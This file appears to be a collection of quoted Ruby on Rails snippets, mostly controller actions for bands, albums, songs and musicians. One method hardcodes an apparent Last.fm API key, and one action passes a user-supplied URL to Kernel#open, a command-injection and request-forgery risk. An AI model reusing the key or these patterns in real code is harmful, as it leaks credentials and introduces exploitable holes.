"def create\n @band = Band.new(band_params)\n\n respond_to do |format|\n if @band.save\n #Add current user to band as leader\n Agrupation.create!(band_id: @band.id, member_id: @current_musician.id, is_leader: true)\n\n format.html { redirect_to @band, notice: 'Band was successfully created.' }\n format.json { render action: 'show', status: :created, location: @band }\n else\n format.html { render action: 'new' }\n format.json { render json: @band.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_bandtogether\n @bandtogether = Bandtogether.find(params[:id])\n end",
"def set_band_information\n @band_information = BandInformation.find(params[:id])\n end",
"def team_musician_params\n params.require(:team_musician).permit(:team_id, :musician_id)\n end",
"def create\n @team_musician = TeamMusician.new(team_musician_params)\n\n respond_to do |format|\n if @team_musician.save\n format.html { redirect_to @team_musician, notice: 'Team musician was successfully created.' }\n format.json { render :show, status: :created, location: @team_musician }\n else\n format.html { render :new }\n format.json { render json: @team_musician.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_team_musician\n @team_musician = TeamMusician.find(params[:id])\n end",
"def store_hash(item, index)\n @albums = nil\n\n mbid_hash = nil\n duration = ChronicDuration.parse(item[\"duration\"].to_s) \n\n #there can be multiple artist seperated by '+' so we split them\n artist_array = item['artist']['artistname'].split(\"+\")\n artist_array.each{ |artist_item|\n begin\n artist = artist_item.strip.force_encoding('UTF-8')\n track = item['title'].force_encoding('UTF-8')\n album = item['album']['albumname'].force_encoding('UTF-8')\n #for each item, lookup in musicbrainz. Returns hash with mbids for track, album and artist if found\n mbid_hash = mbid_lookup(artist,track,album)\n puts mbid_hash.inspect\n rescue StandardError => e\n $LOG.info(\"Issue while processing #{artist_item.strip} - #{item['title']} - #{e.backtrace}\") \n end\n #ARTIST\n if !mbid_hash.nil? && !mbid_hash[\"artistmbid\"].nil?\n @artist = Artist.first_or_create({:artistmbid => mbid_hash[\"artistmbid\"]},{:artistmbid => mbid_hash[\"artistmbid\"],:artistname => artist_item.strip, :artistnote => item['artist']['artistnote'], :artistlink => item['artist']['artistlink']})\n else\n @artist = Artist.first_or_create({:artistname => artist_item.strip},{:artistname => artist_item.strip, :artistnote => item['artist']['artistnote'], :artistlink => item['artist']['artistlink']})\n end\n\n #store artist_id / channel_id to a lookup table, for faster selects \n @artist_channels = @artist.channels << Channel.get(index)\n @artist_channels.save\n\n #ALBUM\n #creating and saving album if not exists\n if !item['album']['albumname'].empty?\n if !mbid_hash.nil? && !mbid_hash[\"albummbid\"].nil?\n #puts \"album mbid found for: \" + mbid_hash[\"albummbid\"]\n @albums = Album.first_or_create({:albummbid => mbid_hash[\"albummbid\"]},{:albummbid => mbid_hash[\"albummbid\"], :albumname => item['album']['albumname'], :albumimage=>item['album']['albumimage']})\n else\n @albums = Album.first_or_create({:albumname => item['album']['albumname']},{:albumname => item['album']['albumname'], :albumimage=>item['album']['albumimage']})\n end\n end\n\n\n #Track\n #creating and saving track\n if mbid_hash && !mbid_hash[\"trackmbid\"].nil? \n @tracks = Track.first_or_create({:trackmbid => mbid_hash[\"trackmbid\"]},{:trackmbid => mbid_hash[\"trackmbid\"],:title => item['title'],:show => item['show'],:talent => item['talent'],:aust => item['aust'],:tracklink => item['tracklink'],:tracknote => item['tracknote'],:publisher => item['publisher'], :datecopyrighted => item['datecopyrighted'].to_i})\n else\n @tracks = Track.first_or_create({:title => item['title'],:duration => duration},{:title => item['title'],:show => item['show'],:talent => item['talent'],:aust => item['aust'],:tracklink => item['tracklink'],:tracknote => item['tracknote'],:duration => duration,:publisher => item['publisher'],:datecopyrighted => item['datecopyrighted'].to_i})\n end\n\n #add the track to album - if album exists\n if !@albums.nil?\n @album_tracks = @albums.tracks << @tracks\n @album_tracks.save\n end\n\n #add the track to the artist\n @artist_tracks = @artist.tracks << @tracks\n @artist_tracks.save\n\n #adding play: only add if playedtime does not exsist in the database already\n play_items = Play.count(:playedtime=>item['playedtime'], :channel_id=>index)\n #if no program, dont insert anything\n if item['program_id'] == ''\n item['program_id'] = nil\n end\n if play_items < 1\n @play = Play.create(:track_id =>@tracks.id, :channel_id => index, :playedtime=>item['playedtime'], :program_id => item['program_id'])\n @plays = @tracks.plays << @play\n @plays.save\n end\n\n }\n end",
"def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n album_id = params[\"album\"]\n \n if not album_id.nil?\n album = Album.find_by(id: album_id)\n if not album.nil?\n album.songs << @song\n album.save\n\n artist = album.artist\n\n if not artist.nil?\n artist_id = artist.id\n if not artist_id.nil?\n artist.songs << @song\n artist.save\n end\n end\n end\n end\n\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_band\n @band = Band.find(params[:id])\n end",
"def set_band\n @band = Band.find(params[:id])\n end",
"def set_band\n @band = Band.find(params[:id])\n end",
"def add_song_by_name(name)\nartist = Song.new(name)\nadd_song(artist)\nend",
"def addAlbum(name, length, genre, label, artist_id, price, stock)\n\n\t\tartist_name = $get.artistName(artist_id)\n\n\t\tif (artist_name[0])\n\t\t\turl = \"http://ws.audioscrobbler.com/2.0/?method=album.getinfo&artist=#{artist_name[0].gsub(' ','+')}&album=#{name.gsub(' ','+')}&api_key=8ea76991c5d4936f71710eb66b2e63ac\"\n\t\t\tresp = Net::HTTP.get_response(URI.parse(url)).body\n\t\t\tarr = Array.new\n\t\t\tdate = String.new\n\n\t\t\tdoc = Hpricot resp\n\n\t\t\t(doc/\"lfm\").each do |err|\n \t\t if err.attributes[\"status\"] == 'failed'\n \t\t arr << -3\n \t\t return arr\n \t end\n \t end\n\n\t\t\tarr[0] = getOrclStr((doc/\"lfm/album/wiki/summary\").inner_html.gsub(']]>','').gsub('<![CDATA[',''))\n\n\t\t\tif (arr[0]==nil || arr[0].length<5)\n\t\t\t\tarr[0] = \"N/A\"\n\t\t\tend\n\n\t\t\t(doc/\"lfm/album/image\").each do |r|\n\t\t\t\tif r.attributes[\"size\"] == 'large'\n\t\t\t\t\tarr[1] = r.inner_html\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tdate = (doc/\"lfm/album/releasedate\").inner_html\n\t\t\tif (date.length<5)\n\t\t\t\tarr[2] = -1\n\t\t\telse\n\t\t\t\ti=0\n\t\t\t\twhile i < date.length\n\t\t\t\t\tif date[i].chr == ','\n\t\t\t\t\t\tarr[2] = date[i-4, 4]\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\ti=i+1\n\t\t\t\tend\n\t\t\tend\n\n\t\t\ti=3\n\t\t\t(doc/\"lfm/album/tracks/track/name\").each do |r|\n\t\t\t\tarr[i] = getOrclStr(r.inner_html)\n\t\t\t\ti=i+1\n\t\t\tend\n\n\t\t\tresult = Array.new\n\t\t\tresult = $manage.addAlbum(name, length, genre, label, artist_id, arr[0], arr[1], arr[2], price, stock)\n\n\t\t\tunless result.first == 0\n\t\t\t return result\n\t\t end\n\n\t\t\tsong_length = \"3:00\"\n\t\t\tsong_genre = \"Other\"\n\t\t\tsong_desc = \"N/A\"\n\n\t\t\ti = 3\t\t\n\t\t\twhile i < arr.length\t\t\t\n\t\t\t\tres = $manage.addSong(result[1].to_i, arr[i], song_length, genre, (i-2), artist_id, song_desc, arr[1], arr[2], '0.99', '-1')\n\n\t\t\t\tunless res == 0\n\t\t\t\t result[0] = -5\n\t\t\t\t $db.execute(\"rollback\")\n\t\t\t\t return result;\n\t\t\t end\n\n\t\t\t\ti=i+1\n\t\t\tend\n\t\telse\n\t\t result = Array.new\n\t\t result << -4\n\t\t\treturn result\n\t\tend\n\t\t$db.execute(\"commit\")\n\t\tresult\n\tend",
"def set_bandname\n @bandname = Bandname.find(params[:id])\n end",
"def create\r\n @exhibition = Exhibition.new(params[:exhibition])\r\n unless params[:artist_ids].blank? \r\n @artists = Artist.find(params[:artist_ids])\r\n @exhibition.artists = @artists\r\n end\r\n respond_to do |format|\r\n if @exhibition.save\r\n flash[:notice] = 'Exhibition was successfully created.'\r\n format.html { redirect_to(:controller=>:admin, :action=>:exhibition_list) }\r\n format.xml { render :xml => @exhibition, :status => :created, :location => @exhibition }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @exhibition.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def add_song(song_name)\n songs << song_name\n end",
"def add_song(song)\n @songs << song\nend",
"def create\n \n new_member = params[:band][:band_memberships]\n new_member = Array.new if new_member.nil?\n \n these_band_memberships = Array.new\n \n if new_member.length > 0\n logger.info 'Adding new member'\n membership = BandMembership.new\n membership.user = User.find_by_id(new_member)\n if params[:from_date]\n membership.start_date = Date.civil(params[:from_date].to_i, 1, 1);\n end\n if params[:to_date]\n membership.end_date = Date.civil(params[:to_date].to_i, 1, 1);\n end\n \n# params[:band].delete(params[:band][:band_memberships])\n these_band_memberships << membership\n params[:band][:band_memberships] = these_band_memberships\n else\n logger.info \"removing band_memberships from the band\"\n params[:band].delete(:band_memberships)\n end\n \n if (params[:band][:image])\n params[:band][:image] = User.save(params[:band])\n logger.info \"set params[:band][:image] to #{params[:band][:image]}\"\n else\n logger.info \"removing image from parameters\"\n params[:band].delete(params[:band][:image])\n end\n \n logger.info \"creating band\"\n @band = Band.new(params[:band])\n logger.info \"created band\"\n @band.users << current_user\n logger.info \"added user\"\n \n respond_to do |format|\n \n if @band.save\n format.html { redirect_to(@band, :notice => 'Band was successfully created.') }\n format.xml { render :xml => @band, :status => :created, :location => @band }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @band.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def append(album)\r\n @internal_list.push(album)\r\n \r\n self\r\n end",
"def create\n @band = Band.new(band_params)\n\n respond_to do |format|\n if @band.save\n format.html { redirect_to @band, notice: 'Band was successfully created.' }\n format.json { render :show, status: :created, location: @band }\n else\n format.html { render :new }\n format.json { render json: @band.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_banda\n @banda = Banda.find(params[:id])\n end",
"def set_album_information\n @album_information = AlbumInformation.find(params[:id])\n end",
"def set_muscle_group\n @muscle_group = MuscleGroup.find(params[:id])\n end",
"def set_music_therapies\n @patient = Patient.find(params[:patient_id])\n end",
"def add_album(new_album)\n if @albums.include?(new_album)\n puts \"The album has already been added\"\n else\n @albums.push(new_album)\n end\n end",
"def add_set\n unless params[:id]\n flash[:message] = 'No set specified; please contact info@smartflix.com'\n return redirect_to :back\n end\n\n add_to_cart_common(:add_set, params[:id])\n end",
"def create\n\t\t\t@music_albums = current_user.music_albums\n @music = Music.new(params[:music])\n @music.user = current_user\n if @music.save\n begin\n mp3_info = Mp3Info.open(@music.music_attach.path)\n @music.length_in_seconds = mp3_info.length.to_i\n @music.artist = mp3_info.tag.artist\n @music.title ||= mp3_info.tag.title if mp3_info.tag.title\n @music.length_in_seconds = mp3_info.length.to_i\n @music.save!\n rescue\n # Nothing\n end\n flash[:notice] = 'Music was successfully created.'\n post_wall(@music) if !check_is_private(current_user, \"my_musics\")\n redirect_to user_music_album_path(current_user, @music.music_album)\n else\n\t\t\t\tflash[:error] = 'Music was error created.'\n \trender :action => \"new\"\n end\n end",
"def add_multiple_masters\n \n @notice = \"\"\n @video_master_playlist = VideoMasterPlaylist.find(params[:playlist_id])\n master_ids = params[:master_ids]\n \n master_ids.each do |master_id|\n @video_master_playlist_item = VideoMasterPlaylistItem.new(:video_master_playlist_id => params[:playlist_id], :master_id => master_id, :position => @video_master_playlist.video_master_playlist_items.count + 1)\n\n @master_to_add = Master.find(master_id)\n if @video_master_playlist_item.save\n flash[:notice] = 'Masters were successfully added.'\n session[:masters_search] = collection_to_id_array(@video_master_playlist.masters)\n end\n end # loop through video ids\n \n end",
"def add_song(song)\n @songs << song \n end",
"def create\n @album = Album.find_by_slug(params[:album_id])\n @album_item = @album.album_items.create(params[:album_item])\n\n respond_to do |format|\n if @album_item.save\n format.html { redirect_to @album, notice: 'Album item was successfully created.' }\n format.json { render json: @album_item, status: :created, location: @album_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @musician = Musician.new(params[:musician])\n @instruments = Instrument.find(:all, :order => \"name\")\n \n respond_to do |format|\n if @musician.save\n UserMailer.subscribeDemand(@musician).deliver\n format.js\n format.html { redirect_to @musician, notice: t(:Inscription_complete) }\n format.json { render json: @musician, status: :created, location: @musician }\n @musician = Musician.new\n else\n format.js { render js: @musician.errors, :status => :unprocessable_entity }\n format.html { render action: \"new\" }\n format.json { render json: @musician.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_microsites_group\n @microsites_group = MicrositesGroup.find(params[:id])\n end",
"def set_amphibian\n @organism = Amphibian.with_all.find(params[:id])\n end",
"def add_song(song)\n # song.artist = self # assigns the current artist to the song's 'artist' property (song belongs to artist)\n #@songs << song #adds the song to the current artist's 'songs' collection \n ##does not assign the artist if the song already has an artist\n if song.artist == self\n song.artist\n else\n song.artist = self\n end \n # does not add the song to the current artist's collection of songs if it already exists therein\n if songs.include?(song)\n song\n else\n songs << song\n end \n songs\n end",
"def create\n @music = current_user.musics.build(music_params)\n\n respond_to do |format|\n if @music.save\n format.html { redirect_to @music, notice: 'Успешно создана запись о музыке.' }\n format.json { render :show, status: :created, location: @music }\n else\n format.html { render :new }\n format.json { render json: @music.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_multiple_masters\n\n @notice = \"\"\n @video_master_playlist = VideoMasterPlaylist.find(params[:playlist_id])\n master_ids = params[:master_ids]\n\n master_ids.each do |master_id|\n @video_master_playlist_item_position = VideoMasterPlaylistItem.where(\"video_master_playlist_id=?\", params[:playlist_id])\n .order(\"position ASC\")\n .find(:last)\n @video_master_playlist_item_position = @video_master_playlist_item_position.nil? ? 1 : @video_master_playlist_item_position.position + 1\n @video_master_playlist_item = VideoMasterPlaylistItem.new(video_master_playlist_id: params[:playlist_id],\n master_id: master_id,\n position: @video_master_playlist_item_position)\n\n @master_to_add = Master.find(master_id)\n if @video_master_playlist_item.save\n flash[:notice] = 'Masters were successfully added.'\n session[:masters_search] = collection_to_id_array(@video_master_playlist.masters)\n end\n end # loop through video ids\n\n end",
"def create\n @albumm = Albumm.new(params[:albumm])\n\n respond_to do |format|\n if @albumm.save\n format.html { redirect_to @albumm, notice: 'Albumm was successfully created.' }\n format.json { render json: @albumm, status: :created, location: @albumm }\n else\n format.html { render action: \"new\" }\n format.json { render json: @albumm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_master\n\n @video_master_playlist = VideoMasterPlaylist.find(params[:id])\n @video_master_playlist_item = VideoMasterPlaylistItem.new(:video_master_playlist_id => params[:id], :master_id => params[:master_id], :position => @video_master_playlist.video_master_playlist_items.count + 1)\n\n @notice=\"\"\n\n @master_to_add = Master.find(params[:master_id])\n\n if @video_master_playlist_item.save\n flash[:notice] = 'Master was successfully added.'\n session[:masters_search] = collection_to_id_array(@video_master_playlist.masters)\n end\n end",
"def album_create_params\n params.permit(album: [:artist, :title, :label_code]) # artist and title are in album, which is in params\n end",
"def set_plsbgmusic\n @plsbgmusic = Plsbgmusic.find(params[:id])\n end",
"def updateartists\n @album = Album.find(params[:id])\n album_param = params[:albums]\n @album.artists.delete_all \n album_param[:artists].each do |artist_id|\n artist = Artist.find(artist_id)\n @album.artists << artist \n end \n respond_to do |format|\n format.html { redirect_to(:action => :show) }\n format.xml { head :ok }\n end \n end",
"def music_list\n @musics = Music.find_musics_by_user(current_user.id)\n \n music_like = MusicLike.new\n music_like.user_id = current_user.id\n hash = params[:like]\n if hash != nil\n hash_invert = hash.invert\n music_like.music_id = hash_invert.values_at(\"like\").first.to_i\n music_like.save\n\n music = music_like.music\n sql = ActiveRecord::Base.connection()\n sql.execute(\"UPDATE musics SET musics.popularity = musics.popularity + 1 WHERE musics.id = \" + music.id.to_s)\n end\n \n redirect_to '/musics/home'\n end",
"def album_params # strong params ( see docs)\n params.require(:album).permit(:title, :released, :image, :musician_id)\n end",
"def add_song(song)\n song.artist= self\n @songs << song\n end",
"def add_song\n \t# add this song to the users personal list (history)\n new_song = Song.create(title: params[:title], video_id: params[:video_id], status: \"added to MusiQ!\")\n current_user.songs << new_song\n\n # add this song to the player queue (tracks)\n Track.create(title: params[:title], video_id: params[:video_id], user_id: current_user.id, status: 'waiting')\n redirect_to root_url\n end",
"def set_albumseven\n @albumseven = Albumseven.find(params[:id])\n end",
"def new_album(set_albumName, params = {})\n params = { :cmd => 'new-album', :set_albumName => set_albumName }.merge(params)\n send_request(params)\n end",
"def create\n @study_set = StudySet.new(user_id: current_user.id, link_id: params[:study_set][:link_id])\n @study_set.entries << Entry.find(params[:study_set][:entry_id])\n\n respond_to do |format|\n if @study_set.save\n if params.has_key? 'save-return'\n format.html { redirect_to current_user, notice: 'Study set was successfully created.' }\n else\n format.html { redirect_to @study_set, notice: 'Study set was successfully created.' }\n format.json { render json: @study_set.entries }\n end\n else\n format.html { render :new }\n format.json { render json: @study_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_band\n @band = Band.find(params[:band_id])\n end",
"def set_music\n @music = Music.find(params[:id])\n end",
"def set_music\n @music = Music.find(params[:id])\n end",
"def set_music\n @music = Music.find(params[:id])\n end",
"def set_music\n @music = Music.find(params[:id])\n end",
"def set_music\n @music = Music.find(params[:id])\n end",
"def create\n \n @album = Album.new(params[:album])\n #params[:artist] if statement\n params[\"artistnames\"].each do |each|\n if each.empty? == false\n @artistexists = Artist.find_by_name(each)\n if @artistexists.nil? == true\n @album.artists.build(:name => each)\n else\n @album.artists << Artist.find_by_name(each)\n end\n end\n end\n params[\"sourcenames\"].each do |each|\n if each.empty? == false\n @artistexists = Source.find_by_name(each)\n if @artistexists.nil? == true\n @album.sources.build(:name => each)\n else\n @album.sources << Source.find_by_name(each)\n end\n end\n end\n \n if params[:album][:catalognumber].blank? == true \n url = params[:album][:reference]\n if url.split('/')[2] == \"vgmdb.net\"\n doc = Nokogiri::HTML(open(url))\n @catalognum = doc.xpath(\"//table[@id='album_infobit_large']//tr[1]//td[2]\").text\n @album.catalognumber = @catalognum.split(' ')[0]\n end\n end\n \n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, :notice => 'Album was successfully created.' }\n format.json { render :json => @album, :status => :created, :location => @album }\n if params[:title] == \"new\"\n format.js { js_redirect_to(album_path(@album))}\n else\n format.js {} \n end\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @album.errors, :status => :unprocessable_entity }\n format.js {}\n end\n end\n end",
"def add_song(song)\n songs << song\n end",
"def add_song_and_artist(library_hash, artist, song)\n library_hash[artist] = song\n return library_hash\nend",
"def handle_add( m, params )\n # lame auth check\n # TODO: need to get a look into new auth system\n\n name = params[:name].downcase\n machine = params[:machine].downcase\n amount = params[:amount]\n beats = params[:beats]\n\n # caluclate beats for one good and multiply with 100 -> better for later use\n beats = beats.to_f / amount.to_f\n beats *= 100\n\n # tag version || current amount || maximal amount || beats for one good || deliverybeat (always 'nil' if not reordered) || linked machine\n if machine == \"-\"\n stock = Stock.new( @stockversion, amount, amount, beats, nil, machine )\n @stock[name] = stock\n\n m.reply( \"#{name} added\" )\n elsif machine == \"yes\"\n name += \"_machine\"\n stock = Stock.new( @stockversion, amount, amount, beats, nil, machine )\n @stock[name] = stock\n\n m.reply( \"#{name} added\" )\n elsif machine == \"no\" and @stock.has_key?( name + \"_machine\" )\n machine = name + \"_machine\"\n stock = Stock.new( @stockversion, amount, amount, beats, nil, machine )\n @stock[name] = stock\n\n m.reply( \"#{name} added\" )\n else\n m.reply( \"Please first create the machine which should be linked to (same syntax, just replace the machine name with 'yes'), or use '-' to inidcate that there is no machine.\" ); return\n end\n\n # save dataset in case the bot crashes an got no chance to do so\n save\n end",
"def create\n\t\t@band = Band.new(band_params)\n\n\t\tif @band.save\n\t\t\tflash[:info] = [\"New band saved\"]\n\t\t\tredirect_to @band\n\t\telse\n\t\t\tflash.now[:errors] = [\"Oops... Something wrong. Try again.\"]\n\t\t\trender :new\n\t\tend\n\tend",
"def create\n ActiveRecord::Base.transaction do\n @album = Album.create!(album_params)\n # 画像登録数が多くなるUIになったらSQLの負荷を減らすためにactiverecord-importを入れる\n # https://github.com/zdennis/activerecord-import\n params[:urls].each do |image_url|\n AlbumImage.create!(album_id: @album.id, url: image_url)\n end\n end\n\n render json: @album\n end",
"def create\n @concert = Concert.new(params[:concert])\n @band = Band.find(params[:band_id])\n @concert.bands << @band\n\n if @concert.save\n flash[:notice] = 'Concert was successfully created.'\n redirect_to admin_band_path(@band, :anchor => 'concerts')\n else\n @countries = Country.all\n render :action => \"new\"\n end\n end",
"def create\n songs = get_kexp_songs()\n idx = 0\n\n while idx < songs['results'].length\n if songs['results'][idx]['playtype']['name'] != \"Media play\"\n idx += 1\n next\n end\n song_title = songs['results'][idx]['track']['name']\n song_artist = songs['results'][idx]['artist']['name']\n \n if !songs['results'][idx]['release']\n song_album = \"\"\n song_release_year = 0\n song_album_img = \"https://cdn.pixabay.com/photo/2019/04/04/18/50/cassette-4103530_1280.jpg\"\n else\n if song_album_img = songs['results'][idx]['release']['largeimageuri'] == nil\n song_album_img = \"https://cdn.pixabay.com/photo/2019/04/04/18/50/cassette-4103530_1280.jpg\"\n else\n song_album_img = songs['results'][idx]['release']['largeimageuri']\n end\n song_album = songs['results'][idx]['release']['name']\n song_release_year = songs['results'][idx]['releaseevent']['year'].to_i\n end\n \n song_is_local = songs['results'][idx]['artist']['islocal']\n #if song|artist|album don't exist -> create \n if Album.find_by(title: song_album) == nil\n song_artist = song_artist.split('feat.')[0]\n mod_artist = song_artist.strip().gsub(/[^0-9a-z ]/i, '').split(' ').join('+')\n parsed_response = get_song_genre(mod_artist)\n \n #if bad status code -> query by song instead\n if parsed_response[\"status_code\"] > 299 || parsed_response[\"status_code\"] < 200 || parsed_response[\"genre\"] == \"\"\n mod_song = song_title.strip().gsub(/[^0-9a-z ]/i, '').split(' ').join('+')\n parsed_response = get_song_genre(mod_song)\n end\n @album = Album.new(title: song_album, album_img: song_album_img, year: song_release_year, genre: parsed_response[\"genre\"])\n @album.save()\n else \n @album = Album.find_by(title: song_album)\n end\n\n if Artist.find_by(name: song_artist) == nil\n @artist = Artist.new(name: song_artist, is_local?: song_is_local, album: @album)\n @artist.save()\n else \n @artist = Artist.find_by(name: song_artist)\n @artist.update(album: @album)\n end\n if Song.find_by(title: song_title) == nil\n @song = Song.new(title: song_title, artist: @artist)\n @song.save()\n else \n @song = Song.find_by(title: song_title)\n @song.update(artist: @artist)\n end\n idx += 1\n end\n redirect_to songs_path\n end",
"def band_params\r\n params.require(:band).permit(:name, :genre, :description, :email,\r\n :url, :image, :songdemo1, :songdemo1_title,\r\n :songdemo2, :songdemo2_title,\r\n :zipcode, :radius)\r\n end",
"def create_albums\n url = 'https://stg-resque.hakuapp.com/albums.json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n albums = JSON.parse(response)\n\n albums.each do |album|\n Album.create!(album.except('id'))\n end\nend",
"def show\n @artist = Artist.find(params[:id])\n \n # pobieram lista albumow, wydanych przez grupy, do ktorych należy dany wykonawca - czy dobrze to robię?\n @group_albums = Album.group_albums(@artist.bands)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @artist }\n end\n end",
"def updategenres\n @album = Album.find(params[:id])\n album_param = params[:albums] \n album_param[:genres].each do |genre_id|\n genre = Genre.find(genre_id)\n @album.genres << genre \n end \n respond_to do |format|\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n end \n end",
"def create\n @musician = Musician.new(params[:musician])\n @music = Music.new(params[:music])\n save_success = @musician.save\n if (save_success)\n @music.musician_id = @musician.id\n save_success = @music.save\n end\n\n respond_to do |format|\n #if @musician.save\n if save_success\n puts \"@musician.id\"\n puts @musician.id\n format.html { redirect_to(@musician, :notice => 'Musician was successfully created.') }\n format.xml { render :xml => @musician, :status => :created, :location => @musician }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @musician.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_band\n @band = Tour.find(params[:id])\n end",
"def create\n @musictrack = Musictrack.new(musictrack_params)\n\n respond_to do |format|\n if @musictrack.save\n format.html { redirect_to @musictrack, notice: 'Musictrack was successfully created.' }\n format.json { render :show, status: :created, location: @musictrack }\n else\n format.html { render :new }\n format.json { render json: @musictrack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bandname_params\n params.require(:bandname).permit(:bandname, :albumname)\n end",
"def add_song(song)\n #associates a song to the artist's collection\n @songs << song\n song.artist = self\n end",
"def create\n\n artist_id = artist_exist_or_new(params[:artist_name])\n\n album_id = album_exist_or_new(params[:album_name], params[:genre], artist_id)\n\n @song = Song.new(song_params)\n @song.album_id = album_id\n\n respond_to do |format|\n if @song.save\n format.html { render '/shared/created'}\n format.json { render action: 'show', status: :created, location: @song }\n else\n format.html { render action: 'new' }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end",
"def home\n # /controllers/musics_controller/music_list\n @musics = Music.find_musics_by_user(current_user.id)\n \n music_like = MusicLike.new\n music_like.user_id = current_user.id\n hash = params[:like]\n if hash != nil\n hash_invert = hash.invert\n music_like.music_id = hash_invert.values_at(\"like\").first.to_i\n music_like.save\n\n music = music_like.music\n sql = ActiveRecord::Base.connection()\n sql.execute(\"UPDATE musics SET musics.popularity = musics.popularity + 1 WHERE musics.id = \" + music.id.to_s)\n end\n\n end",
"def new\n @musician = Musician.new\n @instruments = Instrument.find(:all, :order => \"name\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @musician }\n end\n end",
"def add_model_form\r\n authorize! :edit, Album\r\n #This adds a relational model with a category\r\n #Params for the div ID/Class it should be attached to\r\n #Needs one of two necessary params:\r\n @parent_div = params[:parent_div]\r\n @parent_divs = params[:parent_divs].split(',') unless params[:parent_divs].nil?\r\n #Check if query qualifies for autocomplete\r\n @autocomplete_model = params[:autocomplete_model] unless params[:autocomplete_model].nil?\r\n #Fields_for names\r\n @field_names = params[:field_names]\r\n @field_class = params[:field_class]\r\n #If text_area is flagged, use a text area instead of text_field\r\n @text_area_field_names = params[:text_area_field_names]\r\n #Category list names\r\n @category_field_names = params[:category_field_names]\r\n @categories = params[:category_select]\r\n @categories = @categories.split(\"::\")[0].constantize.const_get(categories.split(\"::\")[1]) if @categories.class == String\r\n #Secondary category list names\r\n @secondary_category_field_names = params[:secondary_category_field_names]\r\n @secondary_categories = params[:secondary_category_select]\r\n @secondary_label = (params[:secondary_label].nil? ? \"ID:\" : params[:secondary_label])\r\n #Get the label if there is one passed in\r\n @label = (params[:label].nil? ? \"ID:\" : params[:label])\r\n #Get the default value if there is one passed in\r\n @default_value = params[:default_value] unless params[:default_value].nil?\r\n #Get a self-relationship flag if one is passed in\r\n @self_relationship_model = params[:self_relationship_model]\r\n @label = \"\" unless @self_relationship_model.nil?\r\n #Get the display_name for artistalbums/artistsongs if one is passed in\r\n @artist_display_names = params[:artist_display_names]\r\n #Get a artist_categories if one is passed in\r\n @artist_category_names = params[:artist_category_names]\r\n #Get track info for songs\r\n @song_info = params[:song_info]\r\n #Get song_source model\r\n @song_source = params[:song_source]\r\n\r\n respond_to do |format|\r\n format.js\r\n end\r\n end",
"def set_songs\n @mix = Mix.find(params[:mix_id])\n end",
"def create\n @maudio = Maudio.new(maudio_params)\n #extract_metadata\n \n\n respond_to do |format|\n if @maudio.save\n format.html { redirect_to @maudio, notice: 'maudio was successfully created.' }\n format.json { render json: @maudio, status: :created, notice: 'maudio was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @maudio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add1\n bp = bpn\n bp.add_list_item('Apollo13',actors,hanks)\nend",
"def add_album(new_album)\n @albums.include?(new_album) ? (puts \"The album has already been added\") : @albums.push(new_album)\n end",
"def musician_params\n params.require(:musician).permit(:instrument, :status, :sponsor)\n end",
"def create\n @mall = Mall.new(mall_params)\n shops_in_mall = Shop.where(id: JSON.parse(params[:mall][:shops_in_mall])) if params[:mall][:shops_in_mall]\n @mall.shops << shops_in_mall\n\n respond_to do |format|\n if @mall.save\n format.html { redirect_to director_malls_path, notice: 'Mall was successfully created.' }\n format.json { render :show, status: :created, location: @mall }\n else\n format.html {\n @shops = Shop.to_options.to_json\n render :new\n }\n format.json { render json: @mall.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_bandit\n @bandit = Bandit.find(params[:id])\n end",
"def add_album(artist, album)\n post(:session, {:method => \"library.addAlbum\", :artist => artist, :album => album})\n end",
"def create\n @microsite = Microsite.new(params[:microsite])\n @microsites = Microsite.all\n @categories = Category.all\n respond_to do |format|\n if @microsite.save\n @microsite.create_form_details\n format.html { redirect_to admins_microsite_path(@microsite, :notice => 'Microsite was successfully created.') }\n format.xml { render :xml => @microsite, :status => :created, :location => @microsite }\n else\n build_microsite(@microsite)\n format.html { render :action => \"new\" }\n format.xml { render :xml => @microsite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def artist_name=(name)\n #object attr\n self.artist = Artist.find_or_create_by_name(name)\n\n artist.add_song(self)\n\n end",
"def create\n @album = Pagealbum.new(album_params)\n @images=album_params[:images_attributes].values.map {|x| Image.new(x)} rescue []\n\n respond_to do |format|\n if @album.save\n page=Page.first\n page.albums << @album\n format.html { redirect_to my_album_page_path(id: @album.id), notice: \"Pagealbum was successfully created.\" }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end",
"def find_band\n @band = Band.find(params[:id])\n end",
